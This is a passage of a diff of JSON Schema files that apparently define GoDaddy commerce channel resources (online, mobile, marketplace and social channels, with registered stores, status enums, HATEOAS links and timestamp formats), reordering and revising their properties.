"description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" - }, - "registeredStores": { - "description": "List of stores that are registered to this channel", - "items": { - "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", - "description": "Resource representing Store registration with Channel", - "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" ], - "default": "ENABLED" - }, - "default": { - "type": "boolean", - "description": "If this is a default channel for the store", - "default": false + "title": "Link Description", + "type": "object" }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - } + "title": "Links" }, - "required": [ - "storeId" - ] - }, - "type": "array" - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", + "type": "string" }, - "required": [ - "rel", - "href" - ] - } - }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + } + }, + "required": [ + "storeId" + ], + "title": "RegisteredStore", + "type": "object" }, - "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - } + "type": "array" }, - "required": [ - "name" - ] - } - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/mobile-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Mobile Channel", - "type": "object", - "description": "Resource representing the Mobile Channel", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", - "description": "Resource representing the Basic Channel", - "properties": { - "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 - }, - "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "externalChannelId": { - "type": "string", - "description": "External identifier of the channel", - "maxLength": 64 - }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "name" + ], + "title": "Basic Channel", + "type": "object" + } + ], + "description": "Resource representing the Online Channel", + "title": "Online Channel", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/mobile-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Basic Channel", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalChannelId": { + "description": "External identifier of the channel", + "maxLength": 64, + "type": "string" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" ], - "default": "ACTIVE" + "title": "Link Description", + "type": "object" }, - "registeredStores": { - "description": "List of stores that are registered to this channel", - "items": { - "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", - "description": "Resource representing Store registration with Channel", - "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" + }, + "registeredStores": { + "description": "List of stores that are registered to this channel", + "items": { + "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing Store registration with Channel", + "properties": { + "default": { + "default": false, + "description": "If this is a default channel for the store", + "type": "boolean" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" ], - "default": "ENABLED" - }, - "default": { - "type": "boolean", - "description": "If this is a default channel for the store", - "default": false + "title": "Link Description", + "type": "object" }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - } + "title": "Links" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", + "type": "string" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + } + }, + "required": [ + "storeId" + ], + "title": "RegisteredStore", + "type": "object" + }, + "type": "array" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "name" + ], + "title": "Basic Channel", + "type": "object" + } + ], + "description": "Resource representing the Mobile Channel", + "title": "Mobile Channel", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/marketplace-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Basic Channel", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalChannelId": { + "description": "External identifier of the channel", + "maxLength": 64, + "type": "string" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" }, - "required": [ - "storeId" - ] + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } }, - "type": "array" + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" + }, + "registeredStores": { + "description": "List of stores that are registered to this channel", + "items": { + "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" + "description": "Resource representing Store registration with Channel", + "properties": { + "default": { + "default": false, + "description": "If this is a default channel for the store", + "type": "boolean" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" }, - "submissionSchema": { - "description": "The schema that describes the request data." - } + "title": "Links" }, - "required": [ - "rel", - "href" - ] - } - }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", + "type": "string" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + } + }, + "required": [ + "storeId" + ], + "title": "RegisteredStore", + "type": "object" }, - "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - } + "type": "array" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "name" + ], + "title": "Basic Channel", + "type": "object" + } + ], + "description": "Resource representing the Marketplace Channel", + "title": "Marketplace Channel", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/social-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Basic Channel", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": 